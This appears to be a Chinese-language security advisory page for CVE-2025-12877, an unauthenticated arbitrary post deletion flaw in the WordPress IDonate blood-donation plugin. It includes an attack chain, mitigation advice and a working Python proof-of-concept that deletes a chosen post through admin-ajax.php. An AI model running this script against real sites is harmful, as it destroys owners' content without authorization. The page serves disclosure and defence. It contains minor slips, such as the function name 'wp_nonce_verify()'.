IPBUF安全漏洞报告
English
CVE-2025-12877 CVSS 5.3 中危

CVE-2025-12877 WordPress IDonate插件未授权任意文章删除漏洞

披露日期: 2025-11-22

漏洞信息

漏洞编号
CVE-2025-12877
漏洞类型
越权操作/未授权访问
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
IDonate – Blood Donation, Request And Donor Management System

相关标签

WordPress插件漏洞IDonate越权访问未授权删除CVE-2025-12877血液管理系统AJAX漏洞缺少权限验证

漏洞概述

IDonate是一款WordPress血液捐赠请求和捐赠者管理系统插件。该插件在2.1.15及之前版本中存在严重的越权访问漏洞。由于panding_blood_request_action()函数缺少权限检查,攻击者可以在未登录或无任何权限的情况下调用该函数,实现对任意文章的删除操作。此漏洞影响所有使用该插件的WordPress网站,攻击者可通过自动化工具批量利用此漏洞删除网站内容,可能导致业务中断、数据丢失等严重后果。此外,CVE-2025-67583可能与该漏洞重复。漏洞已于2025年11月22日披露,开发者已发布修复版本。

技术细节

漏洞根源在于IDonate插件的IDonateAjaxHandler.php文件中的panding_blood_request_action()函数。该函数在处理待处理血液请求时,直接调用WordPress的wp_delete_post()函数删除文章,但未对请求者进行任何权限验证。正常情况下,删除文章的API端点应检查当前用户是否具有delete_postCapability。但该函数仅检查请求是否为AJAX请求,缺少current_user_can()权限验证。攻击者只需构造一个POST请求到wp-admin/admin-ajax.php端点,设置action参数为panding_blood_request_action,并提供目标文章ID,即可删除任意文章。由于该函数未使用wp_nonce_verify()进行CSRF Token验证,攻击可在用户不知情的情况下完成。修复版本2.1.16增加了current_user_can('delete_posts')权限检查。

攻击链分析

STEP 1
步骤1
攻击者识别目标WordPress网站是否安装IDonate插件(通过检查插件路径或特征请求)
STEP 2
步骤2
攻击者构造恶意AJAX请求,action参数设置为panding_blood_request_action,request_id设置为目标文章ID
STEP 3
步骤3
攻击者发送POST请求到/wp-admin/admin-ajax.php端点,无需任何认证凭据
STEP 4
步骤4
服务器端panding_blood_request_action()函数接收请求,直接调用wp_delete_post()删除指定文章
STEP 5
步骤5
目标文章被永久删除,攻击者可重复执行删除任意数量的文章

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-12877 PoC - IDonate Plugin Unauthorized Post Deletion # Target: WordPress site with IDonate plugin <= 2.1.15 import requests import sys def delete_arbitrary_post(target_url, post_id): """ Delete arbitrary post without authentication """ endpoint = target_url.rstrip('/') + '/wp-admin/admin-ajax.php' data = { 'action': 'panding_blood_request_action', 'request_id': post_id, 'status': 'delete' } headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } try: response = requests.post(endpoint, data=data, headers=headers, timeout=10) if response.status_code == 200: print(f'[+] Successfully sent deletion request for post ID: {post_id}') print(f'[+] Response: {response.text[:200]}') else: print(f'[-] Request failed with status: {response.status_code}') except requests.exceptions.RequestException as e: print(f'[-] Error: {e}') if __name__ == '__main__': if len(sys.argv) < 3: print('Usage: python cve-2025-12877_poc.py <target_url> <post_id>') print('Example: python cve-2025-12877_poc.py http://example.com 123') sys.exit(1) target = sys.argv[1] post_id = sys.argv[2] delete_arbitrary_post(target, post_id)

影响范围

IDonate plugin < 2.1.16 (all versions up to and including 2.1.15)

防御指南

临时缓解措施
在官方补丁发布前,可临时采取以下措施:1) 限制wp-admin/admin-ajax.php的访问来源;2) 使用Web应用防火墙(WAF)拦截异常AJAX请求;3) 禁用或移除IDonate插件;4) 使用.htaccess或Nginx配置限制对可疑端点的访问。建议尽快升级到修复版本2.1.16。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表